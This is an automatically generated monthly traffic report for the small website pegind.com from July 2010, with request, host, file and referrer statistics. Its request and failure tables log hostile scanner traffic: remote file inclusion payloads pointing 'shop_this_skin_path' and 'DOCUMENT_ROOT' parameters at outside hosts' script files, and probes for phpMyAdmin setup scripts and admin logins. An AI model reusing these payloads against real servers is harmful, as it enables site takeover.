Web Server Statistics for pegind.com

Program started at Thu-29-Jul-2010 05:40.
Analysed requests from Thu-01-Jul-2010 05:18 to Thu-29-Jul-2010 05:38 (28.0 days).

General Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Successful requests: 1954
Average successful requests per day: 69
Successful requests for pages: 694
Average successful requests for pages per day: 24
Failed requests: 3226
Redirected requests: 3
Distinct files requested: 46
Distinct hosts served: 173
Unwanted logfile entries: 54
Data transferred: 538308414 bytes
Average data transferred per day: 19215769 bytes


Weekly Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 5000000 bytes, or part thereof.


week beg.: #reqs: pages: 
---------: -----: -----: 
27/Jun/10:   150:    44: ++++++
 4/Jul/10:   746:   264: +++++++++++++++++++++++++
11/Jul/10:   373:   160: +++++++++++++++++++++++++++++++++++
18/Jul/10:   418:   139: ++++++++++++++++++++++++++++++++++++++++
25/Jul/10:   267:    87: +++++
Busiest week: week beginning 18/Jul/10 (195753723 bytes).

Daily Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 5000000 bytes, or part thereof.


     date:  %reqs: #reqs: %bytes:    bytes: 
---------: ------: -----: ------: --------: 
 1/Jul/10:  2.35%:    46:  1.11%:  5986991: ++
 2/Jul/10:  3.28%:    64:  3.08%: 16573527: ++++
 3/Jul/10:  2.05%:    40:  0.90%:  4818436: +

 4/Jul/10:  4.20%:    82:  3.42%: 18436102: ++++
 5/Jul/10:  6.09%:   119:  3.13%: 16860858: ++++
 6/Jul/10: 13.15%:   257:  5.48%: 29481388: ++++++
 7/Jul/10:  2.05%:    40:  0.04%:   196808: +
 8/Jul/10:  7.57%:   148:  6.99%: 37653370: ++++++++
 9/Jul/10:  0.97%:    19:  0.37%:  1971748: +
10/Jul/10:  4.15%:    81:  3.22%: 17307580: ++++

11/Jul/10:  2.15%:    42:  0.31%:  1661677: +
12/Jul/10:  2.15%:    42:  6.09%: 32784336: +++++++
13/Jul/10:  5.17%:   101:  1.28%:  6888320: ++
14/Jul/10:  1.28%:    25: 16.94%: 91168377: +++++++++++++++++++
15/Jul/10:  5.99%:   117:  4.24%: 22829155: +++++
16/Jul/10:  1.59%:    31:  2.30%: 12356690: +++
17/Jul/10:  0.77%:    15:  0.53%:  2832943: +

18/Jul/10:  2.20%:    43: 16.36%: 88078423: ++++++++++++++++++
19/Jul/10:  0.87%:    17:  3.50%: 18813986: ++++
20/Jul/10:  7.27%:   142:  2.46%: 13242918: +++
21/Jul/10:  1.38%:    27:  0.29%:  1551746: +
22/Jul/10:  5.42%:   106:  8.17%: 44006524: +++++++++
23/Jul/10:  3.58%:    70:  5.55%: 29895809: ++++++
24/Jul/10:  0.67%:    13:  0.03%:   164317: +

25/Jul/10:  0.41%:     8:  0.03%:   158335: +
26/Jul/10:  2.56%:    50:  1.34%:  7202798: ++
27/Jul/10:  5.89%:   115:  1.42%:  7631110: ++
28/Jul/10:  1.28%:    25:  0.07%:   365987: +
29/Jul/10:  3.53%:    69:  1.37%:  7388155: ++
Busiest day: 14/Jul/10 (91168377 bytes).

Daily Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 8000000 bytes, or part thereof.


day:  %reqs: #reqs: %bytes:     bytes: %pages: 
---: ------: -----: ------: ---------: ------: 
Sun:  8.96%:   175: 20.12%: 108334537:  9.22%: ++++++++++++++
Mon: 11.67%:   228: 14.06%:  75661978: 15.13%: ++++++++++
Tue: 31.47%:   615: 10.63%:  57243736: 26.22%: ++++++++
Wed:  5.99%:   117: 17.33%:  93282918: 11.82%: ++++++++++++
Thu: 24.87%:   486: 21.90%: 117864195: 17.87%: +++++++++++++++
Fri:  9.42%:   184: 11.29%:  60797774: 11.38%: ++++++++
Sat:  7.63%:   149:  4.67%:  25123276:  8.36%: ++++

Hourly Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 3000000 bytes, or part thereof.


hr:  %reqs: #reqs: %bytes:    bytes: 
--: ------: -----: ------: --------: 
 0:  3.48%:    68:  1.21%:  6502246: +++
 1:  1.48%:    29:  2.09%: 11252321: ++++
 2:  2.30%:    45:  3.86%: 20780052: +++++++
 3:  3.68%:    72:  0.69%:  3739687: ++
 4:  5.12%:   100:  1.31%:  7065074: +++
 5:  5.48%:   107: 12.15%: 65385751: ++++++++++++++++++++++
 6:  2.15%:    42: 15.55%: 83705129: ++++++++++++++++++++++++++++
 7:  4.50%:    88:  1.71%:  9199658: ++++
 8:  2.25%:    44:  2.05%: 11013050: ++++
 9:  6.09%:   119:  4.49%: 24184738: +++++++++
10: 13.00%:   254: 12.21%: 65733266: ++++++++++++++++++++++
11:  6.04%:   118:  4.99%: 26846512: +++++++++
12:  0.72%:    14:  0.29%:  1576837: +
13:  3.53%:    69:  0.31%:  1678987: +
14:  2.66%:    52:  1.28%:  6909618: +++
15:  5.68%:   111:  1.48%:  7944809: +++
16:  5.58%:   109:  7.61%: 40968612: ++++++++++++++
17:  8.03%:   157:  7.45%: 40124991: ++++++++++++++
18:  4.25%:    83:  4.92%: 26508794: +++++++++
19:  6.70%:   131:  4.17%: 22421662: ++++++++
20:  2.66%:    52:  1.39%:  7455622: +++
21:  1.07%:    21:  3.46%: 18650432: +++++++
22:  2.41%:    47:  5.29%: 28495976: ++++++++++
23:  1.13%:    22:  0.03%:   164590: +

Host Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing hosts with at least 0.05% of the requests, sorted by the number of requests.


 %reqs: #reqs: %bytes:     bytes: host
------: -----: ------: ---------: ----
 6.19%:   121:  2.02%:  10865036: 76.170.122.141
 4.86%:    95:       :         0: 112.65.247.44
 4.40%:    86:  6.25%:  33632937: 173.60.16.164
 3.68%:    72:  2.19%:  11803389: 163.192.12.174
 3.63%:    71:  3.08%:  16592843: 71.107.151.213
 3.48%:    68:  2.80%:  15060549: 71.139.14.212
 3.48%:    68:  2.98%:  16054820: 71.160.126.67
 3.33%:    65:  2.98%:  16054820: 68.109.93.84
 2.87%:    56:  0.12%:    652344: 95.108.150.235
 2.46%:    48:  0.71%:   3806282: 66.81.221.232
 2.20%:    43: 20.73%: 111591374: 95.108.245.252
 2.15%:    42:  0.11%:    587873: 201.220.44.9
 2.10%:    41:  5.24%:  28225396: 67.195.114.29
 1.89%:    37:  1.20%:   6461917: 75.47.232.193
 1.84%:    36:  1.09%:   5891837: 71.165.149.169
 1.84%:    36:  2.98%:  16029138: 68.126.148.127
 1.84%:    36:  1.09%:   5891837: 75.83.91.152
 1.79%:    35:  0.07%:    390405: 95.108.151.244
 1.79%:    35:  1.09%:   5880188: 76.174.230.213
 1.69%:    33:  0.82%:   4403452: 173.55.200.150
 1.69%:    33:  2.70%:  14540753: 162.119.68.25
 1.64%:    32:  0.82%:   4391803: 71.141.128.40
 1.59%:    31:  0.87%:   4695319: 75.85.242.64
 1.59%:    31:  0.81%:   4380154: 24.49.95.192
 1.33%:    26:  0.05%:    290268: 193.47.80.43
 1.28%:    25:  0.05%:    266656: 69.84.207.147
 1.28%:    25:  0.05%:    259842: 67.195.37.112
 1.23%:    24:  0.10%:    537895: 115.30.91.201
 1.07%:    21:  0.10%:    519796: 121.54.29.90
 1.07%:    21:  0.10%:    519796: 76.167.79.13
 1.07%:    21:  0.10%:    519796: 63.174.41.63
 1.07%:    21:  0.10%:    519796: 64.198.80.214
 1.07%:    21:  0.10%:    519796: 222.253.232.138
 1.07%:    21:  0.10%:    519796: 195.70.3.242
 0.97%:    19: 12.23%:  65831713: 205.251.121.5
 0.92%:    18:  0.10%:    559018: 94.246.127.47
 0.92%:    18:  0.38%:   2035070: 66.249.67.41
 0.87%:    17:  0.19%:   1009422: 41.116.79.221
 0.77%:    15:  0.04%:    188428: 208.115.111.244
 0.72%:    14:  0.03%:    153198: 65.55.3.197
 0.72%:    14:  0.03%:    163086: 208.80.193.121
 0.72%:    14:  0.04%:    193400: 89.139.229.172
 0.67%:    13:  6.12%:  32954156: 71.224.203.184
 0.56%:    11:  5.69%:  30612415: 74.55.15.74
 0.56%:    11:  0.03%:    168502: 66.249.67.175
 0.56%:    11:  2.14%:  11499200: 66.249.67.24
 0.51%:    10:  0.48%:   2593271: 66.249.67.114
 0.51%:    10:  4.11%:  22109029: 66.249.67.88
 0.46%:     9:  0.02%:    104841: 208.80.193.39
 0.41%:     8:  0.02%:     93192: 66.235.124.13
 0.41%:     8:  0.02%:     89287: 38.100.41.66
 0.36%:     7:  0.01%:     76599: 69.58.178.31
 0.36%:     7:  0.01%:     76599: 81.223.254.34
 0.36%:     7:  0.01%:     76599: 173.193.219.168
 0.36%:     7:  2.28%:  12269311: 66.249.67.50
 0.36%:     7:  0.01%:     76599: 173.192.34.95
 0.31%:     6:  0.02%:    132318: 216.45.58.187
 0.31%:     6:  0.01%:     69894: 188.72.70.56
 0.31%:     6:  0.33%:   1762934: 207.200.116.5
 0.26%:     5:       :     17090: 81.52.143.15
 0.20%:     4:       :     19422: 207.200.116.135
 0.20%:     4:  0.02%:    134468: 207.200.116.10
 0.20%:     4:  0.01%:     46596: 95.108.142.138
 0.20%:     4:  0.01%:     51649: 121.203.115.118
 0.20%:     4:  0.01%:     44644: 95.220.180.68
 0.20%:     4:  0.01%:     29560: 207.200.116.9
 0.20%:     4:  0.01%:     58362: 66.235.124.132
 0.20%:     4:  0.01%:     52166: 207.200.116.74
 0.20%:     4:       :     19774: 207.200.116.71
 0.15%:     3:  0.36%:   1936251: 207.200.116.12
 0.15%:     3:  0.28%:   1481279: 207.200.116.133
 0.15%:     3:       :     12979: 207.200.116.130
 0.15%:     3:       :     23298: 205.178.190.235
 0.15%:     3:  0.01%:     68443: 216.185.49.44
 0.15%:     3:  0.19%:   1036664: 207.200.116.7
 0.15%:     3:  0.01%:     34947: 84.92.53.131
 0.15%:     3:  0.34%:   1806679: 207.46.12.26
 0.15%:     3:  0.01%:     34947: 208.80.193.42
 0.15%:     3:  0.01%:     34947: 208.80.193.38
 0.15%:     3:  0.01%:     34947: 208.80.193.35
 0.15%:     3:  0.01%:     34947: 147.83.152.182
 0.10%:     2:       :     23298: 151.138.13.244
 0.10%:     2:       :      9762: 207.200.116.14
 0.10%:     2:       :     20306: 207.200.116.13
 0.10%:     2:  0.01%:     51730: 207.200.116.138
 0.10%:     2:  0.01%:     42886: 207.200.116.137
 0.10%:     2:       :     23298: 207.200.116.11
 0.10%:     2:       :      8146: 207.200.116.131
 0.10%:     2:  0.01%:     27667: 95.132.118.141
 0.10%:     2:  0.01%:     54510: 216.45.58.188
 0.10%:     2:  0.19%:   1026616: 66.249.65.108
 0.10%:     2:  0.01%:     35282: 173.212.206.186
 0.10%:     2:       :     23298: 184.73.47.98
 0.10%:     2:  0.01%:     31898: 75.148.79.206
 0.10%:     2:  0.01%:     46372: 66.249.67.111
 0.10%:     2:       :     10042: 207.200.116.8
 0.10%:     2:       :     10078: 207.200.116.6
 0.10%:     2:       :     16106: 207.46.12.63
 0.10%:     2:       :     23298: 204.236.203.56
 0.10%:     2:       :     22341: 203.12.2.160
 0.10%:     2:       :     23298: 70.36.103.59
 0.10%:     2:       :     20832: 122.163.8.85
 0.10%:     2:  0.01%:     33162: 90.11.61.148
 0.10%:     2:       :     23298: 91.212.226.137
 0.10%:     2:       :     23298: 208.80.193.37
 0.10%:     2:       :     23298: 208.80.193.27
 0.10%:     2:       :     11649: 174.129.181.236
 0.10%:     2:  0.01%:     33162: 203.185.245.14
 0.10%:     2:  0.01%:     37252: 79.118.216.8
 0.10%:     2:       :     23298: 72.11.87.75
 0.10%:     2:       :     23298: 24.137.91.88
 0.10%:     2:  0.01%:     47536: 91.216.122.46
 0.10%:     2:       :      9720: 207.200.116.73
 0.10%:     2:       :      8132: 207.200.116.68
 0.10%:     2:  0.11%:    607376: 207.200.116.67
 0.10%:     2:  0.01%:     34329: 78.137.163.133
 0.05%:     1:       :     11123: 207.46.13.86
 0.05%:     1:       :     11649: 207.200.116.134
 0.05%:     1:       :         0: 66.249.65.109
 0.05%:     1:  0.01%:     33908: 216.129.119.43
 0.05%:     1:       :     11649: 38.99.96.90
 0.05%:     1:       :      1962: 66.249.65.105
 0.05%:     1:       :     10445: 207.46.13.50
 0.05%:     1:       :     11858: 207.46.13.136
 0.05%:     1:  0.01%:     31835: 207.46.13.44
 0.05%:     1:       :         0: 66.249.65.100
 0.05%:     1:       :     11649: 173.240.49.34
 0.05%:     1:       :     11649: 88.131.106.6
 0.05%:     1:       :     11649: 64.244.59.71
 0.05%:     1:       :     11649: 207.46.13.101
 0.05%:     1:       :     11649: 64.246.165.180
 0.05%:     1:       :     11649: 109.169.29.135
 0.05%:     1:       :         0: 207.46.204.235
 0.05%:     1:       :     11649: 212.1.250.47
 0.05%:     1:       :     11649: 78.129.242.88
 0.05%:     1:  0.01%:     35887: 204.236.226.210
 0.05%:     1:       :     11649: 208.80.194.39
 0.05%:     1:       :     11649: 208.80.194.30
 0.05%:     1:  0.01%:     30690: 125.25.175.101
 0.05%:     1:       :     12688: 95.26.140.200
 0.05%:     1:       :     11649: 194.67.7.142
 0.05%:     1:       :     11649: 173.203.51.205
 0.05%:     1:       :         0: 207.46.195.236
 0.05%:     1:       :     11649: 64.246.161.42
 0.05%:     1:       :     10692: 207.46.195.231
 0.05%:     1:       :         0: 207.46.195.228
 0.05%:     1:       :     11649: 74.222.3.90
 0.05%:     1:  0.01%:     36217: 66.249.71.91
 0.05%:     1:       :         0: 66.249.65.98
 0.05%:     1:       :     11649: 193.200.85.107
 0.05%:     1:       :      9183: 66.235.124.59
 0.05%:     1:  0.01%:     32221: 66.235.124.56
 0.05%:     1:  0.01%:     37189: 66.235.124.54
 0.05%:     1:       :     11649: 174.123.133.162
 0.05%:     1:       :     11649: 89.178.24.140
 0.05%:     1:       :     11649: 209.249.53.183
 0.05%:     1:       :     11649: 208.80.193.30
 0.05%:     1:       :     11649: 208.80.193.29
 0.05%:     1:       :     11649: 38.111.147.83
 0.05%:     1:       :     11649: 38.99.97.196
 0.05%:     1:       :     11649: 8.21.4.254
 0.05%:     1:       :     11649: 166.122.98.137
 0.05%:     1:       :     11649: 128.194.135.10
 0.05%:     1:       :     11649: 67.195.133.6
 0.05%:     1:       :      4873: 207.200.116.72
 0.05%:     1:       :     11649: 72.11.87.42
 0.05%:     1:       :     10445: 207.200.116.65
 0.05%:     1:       :     11649: 199.255.196.2
 0.05%:     1:  0.16%:    868630: 66.249.71.117
 0.05%:     1:       :         0: 200.27.156.155
 0.05%:     1:       :         0: 207.46.199.46
 0.05%:     1:       :         0: 66.249.71.111
 0.05%:     1:       :      9183: 207.46.199.40

Directory Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing directories, sorted by the amount of traffic.


 %reqs: #reqs: %bytes:     bytes: directory
------: -----: ------: ---------: ---------
22.72%:   444: 97.66%: 525724898: /images/
35.36%:   691:  1.35%:   7261856: [root directory]
34.75%:   679:  0.44%:   2359598: /_derived/
 2.56%:    50:  0.42%:   2241396: /_borders/
 3.99%:    78:  0.13%:    685152: /_themes/
 0.15%:     3:  0.01%:     34947: http://
 0.46%:     9:       :       567: /gifs/

File Type Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.


 %reqs: #reqs: %bytes:     bytes: extension
------: -----: ------: ---------: ---------
 7.73%:   151: 94.87%: 510718745: .swf
12.69%:   248:  3.17%:  17083329: .jpg  [JPEG graphics]
21.29%:   416:  0.66%:   3552945: [directories]
40.07%:   783:  0.47%:   2524385: .gif  [GIF graphics]
11.51%:   225:  0.39%:   2126178: .htm  [Hypertext Markup Language]
 2.71%:    53:  0.30%:   1617680: .html [Hypertext Markup Language]
 3.99%:    78:  0.13%:    685152: .css  [Cascading Style Sheets]

File Size Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)


       size:  %reqs: #reqs: %bytes:     bytes: 
-----------: ------: -----: ------: ---------: 
          0: 21.08%:   412:       :         0: 
   1b-  10b:       :     0:       :         0: 
  11b- 100b:  0.46%:     9:       :       567: 
 101b-  1kb:  1.74%:    34:       :      5066: 
  1kb- 10kb: 29.94%:   585:  0.52%:   2823548: 
 10kb-100kb: 36.95%:   722:  2.33%:  12554631: 
100kb-  1Mb:  5.83%:   114: 13.36%:  71922633: 
  1Mb- 10Mb:  3.53%:    69: 54.39%: 292798916: 
 10Mb-100Mb:  0.46%:     9: 29.39%: 158203053: 

Status Code Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing status codes, sorted numerically.


#reqs: status code
-----: -----------
 1627: 200 OK
   13: 206 Partial content
    3: 302 Document found elsewhere
  314: 304 Not modified since last retrieval
   12: 400 Bad request
 3214: 404 Document not found

Request Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing files, sorted alphabetically.


 %reqs: #reqs: %bytes:     bytes: file
------: -----: ------: ---------: ----
21.14%:   413:  0.65%:   3517998: /
 0.31%:     6:  0.01%:     69894:   /?_SERVER[DOCUMENT_ROOT]=http://valdes.fileave.com/scan/kil-9/idxx.txt???
 2.56%:    50:  0.42%:   2241396: /_borders/river_800x150.jpg
 2.56%:    50:  0.03%:    147024: /_derived/barnsale.htm_cmp_pegindust110_hbtn.gif
 2.30%:    45:  0.03%:    159136: /_derived/barnsale.htm_cmp_pegindust110_hbtn_a.gif
 0.82%:    16:  0.01%:     72435: /_derived/barnsale.htm_cmp_pegindust110_hbtn_p.gif
 2.51%:    49:  0.03%:    147168: /_derived/contact.htm_cmp_pegindust110_hbtn.gif
 2.30%:    45:  0.03%:    160032: /_derived/contact.htm_cmp_pegindust110_hbtn_a.gif
 0.36%:     7:  0.01%:     33950: /_derived/contact.htm_cmp_pegindust110_hbtn_p.gif
 1.79%:    35:  0.02%:    101650: /_derived/home_cmp_pegindust110_hbtn.gif
 2.30%:    45:  0.03%:    160960: /_derived/home_cmp_pegindust110_hbtn_a.gif
 2.20%:    43:  0.03%:    170835: /_derived/home_cmp_pegindust110_hbtn_p.gif
 2.56%:    50:  0.03%:    146700: /_derived/house1.htm_cmp_pegindust110_hbtn.gif
 2.30%:    45:  0.03%:    160768: /_derived/house1.htm_cmp_pegindust110_hbtn_a.gif
 1.13%:    22:  0.02%:     97460: /_derived/house1.htm_cmp_pegindust110_hbtn_p.gif
 2.35%:    46:  0.03%:    146628: /_derived/house2.htm_cmp_pegindust110_hbtn.gif
 2.10%:    41:  0.03%:    160672: /_derived/house2.htm_cmp_pegindust110_hbtn_a.gif
 1.43%:    28:  0.02%:     92530: /_derived/house2.htm_cmp_pegindust110_hbtn_p.gif
 2.41%:    47:  0.03%:    142835: /_derived/lot3.htm_cmp_pegindust110_hbtn.gif
 2.20%:    43:  0.03%:    156209: /_derived/lot3.htm_cmp_pegindust110_hbtn_a.gif
 1.13%:    22:  0.02%:    102606: /_derived/lot3.htm_cmp_pegindust110_hbtn_p.gif
 3.99%:    78:  0.13%:    685152: /_themes/pegindust/pegi1111.css
 1.89%:    37:  0.07%:    365575: /barnsale.htm
 0.46%:     9:  0.01%:     27344: /clients.htm
 1.64%:    32:  0.05%:    275490: /contact.htm
 0.46%:     9:       :       567: /gifs/bar32.gif
 2.35%:    46:  0.09%:    509894: /house1.htm
 2.71%:    53:  0.08%:    456043: /house2.htm
 2.41%:    47:       :      5066: /images/SemiTransparent001.gif
 1.02%:    20:  5.29%:  28468326: /images/barnsale.swf
 1.38%:    27:  0.48%:   2560680: /images/bigriverbackyard_771x400.jpg
 2.46%:    48:  0.03%:    159154: /images/header.gif
 2.25%:    44:  0.17%:    931140: /images/house001_300x199.jpg
 2.25%:    44:  0.14%:    771948: /images/house002_300x199.jpg
 1.64%:    32:  9.72%:  52324776: /images/house1.swf
 0.46%:     9: 29.39%: 158203053: /images/house1_1024.swf
 1.79%:    35:  5.72%:  30798480: /images/house2.swf
 1.13%:    22: 39.59%: 213127950: /images/house2_1024.swf
 1.69%:    33:  5.16%:  27796160: /images/lot3.swf
 2.25%:    44:  0.15%:    792072: /images/lot3_300x199.jpg
 2.00%:    39:  1.82%:   9786093: /images/oaks_1024.jpg
 2.46%:    48:  0.09%:    491832: /lot3.htm
 2.71%:    53:  0.30%:   1617680: /wwwstat.html
 0.15%:     3:  0.01%:     34947: http://www.aol.com/

Redirection Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing files, sorted by the number of redirected requests.


#reqs: file
-----: ----
    3: /mail/config.inc.php

Failure Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing the first 30 files by the number of failed requests, sorted by the number of failed requests.


#reqs: file
-----: ----
  275: /robots.txt
  144: /skin_shop/standard/3_plugin_twindow/twindow_notice.php
   96: /skin_shop/standard/2_view_body/body_default.php
   12:   /skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.fileden.com/files/2010/1/5/2714272/id1.txt?
   12:   /skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.net-games.it/open.txt???
   94: /wwwstat.html/skin_shop/standard/3_plugin_twindow/twindow_notice.php
   81: /administrator/index.php
   27:   /administrator/index.php?option=com_config
   67: /technote7/skin_shop/standard/2_view_body/body_default.php
   16:   /technote7/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://bcis.pacificu.edu/images/1????
   62: /wwwstat.html/skin_shop/standard/2_view_body/body_default.php
   10:   /wwwstat.html/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.net-games.it/open.txt???
   47: /favicon.ico
   42: /wwwstat.html/technote7/skin_shop/standard/2_view_body/body_default.php
   14:   /wwwstat.html/technote7/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://bcis.pacificu.edu/images/1????
   42: /technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php
   13:   /technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://www.votrepharma.com/images/banners/id.txt??
   36: /wwwstat.html/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php
   12:   /wwwstat.html/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://www.votrepharma.com/images/banners/id.txt??
   36: /wp-login.php
   31: /skin_shop/standard/3_plugin_twindow/twindow_cart.php
   30: /twindow_notice.php
   20: /wwwstat.html/skin_shop/standard/3_plugin_twindow/twindow_cart.php
   18: /wwwstat.html/twindow_notice.php
   16: /components/com_flyspray/startdown.php
   14: /phpmyadmin/scripts/setup.php
   13: /phpMyAdmin/scripts/setup.php
   13: /wwwstat.html  /skin_shop/standard/2_view_body/body_default.php
   13: /contact.php
   13: /wwwstat.html  /skin_shop/standard/3_plugin_twindow/twindow_notice.php
   12: /wwwstat.html  /technote7/skin_shop/standard/2_view_body/body_default.php
   12: /scripts/setup.php
   12: /pma/scripts/setup.php
   12: /myadmin/scripts/setup.php
   11: /phpMyAdmin-2.5.9/scripts/setup.php
   11: /phpMyAdmin-2.7.5/scripts/setup.php
   11: /phpMyAdmin-2.8.3/scripts/setup.php
   11: /phpMyAdmin-2.9.1/scripts/setup.php
 1920: [not listed: 232 files]

Referrer Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing referring URLs with at least 20 requests, sorted by the number of requests.


#reqs: URL
-----: ---
  562: http://www.pegind.com/
  171: http://pegind.com/
  138: http://www.pegind.com/house2.htm
   69: http://www.pegind.com/lot3.htm
   58: http://www.pegind.com/house1.htm
   41: http://www.pegind.com/barnsale.htm
   40: http://pegind.com/house1.htm
   39: http://pegind.com/house2.htm
   36: http://pegind.com/lot3.htm
   30: http://www.pegind.com/index.html
   21: http://74.6.239.185/search/srpcache
   21:   http://74.6.239.185/search/srpcache?ei=UTF-8&p=www.pegind.com&fr=slv1-&u=http://cc.bingj.com/cache.aspx?q=www.pegind.com&d=4681849473076618&mkt=en-US&setlang=en-US&w=6a60b3b,875ea798&icp=1&.intl=us&sig=_JwdVG8NmhiSO8QvTb67Ow--
   91: [not listed: 34 URLs]

Referring Site Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing referring sites, sorted by the number of requests.


#reqs: site
-----: ----
  919: http://www.pegind.com/
  314: http://pegind.com/
   21: http://74.6.239.185/
    9: http://www.google.com/
    8: http://search.yahoo.com/
    3: http://www.bing.com/
    3: http://fe.cloudcrowd.com/
    2: http://www.google.com.co/
    2: http://search.earthlink.net/
    2: http://whois.domaintools.com/
    1: http://www.designerlove.com/
    1: http://www.blueprinttowin.com/
    1: http://dongle-emulator.net/
    1: http://www.google.com.au/
    1: http://www.google.com.ua/
    1: http://www.google.ro/
    1: http://www.ask.com/
    1: http://www.google.co.uk/
    1: http://yandex.ru/
    1: http://www.google.co.za/
    1: http://www.pciraceradios.com/
    1: http://www.google.fr/
    1: http://search.aol.com/

Failed Referrer Report

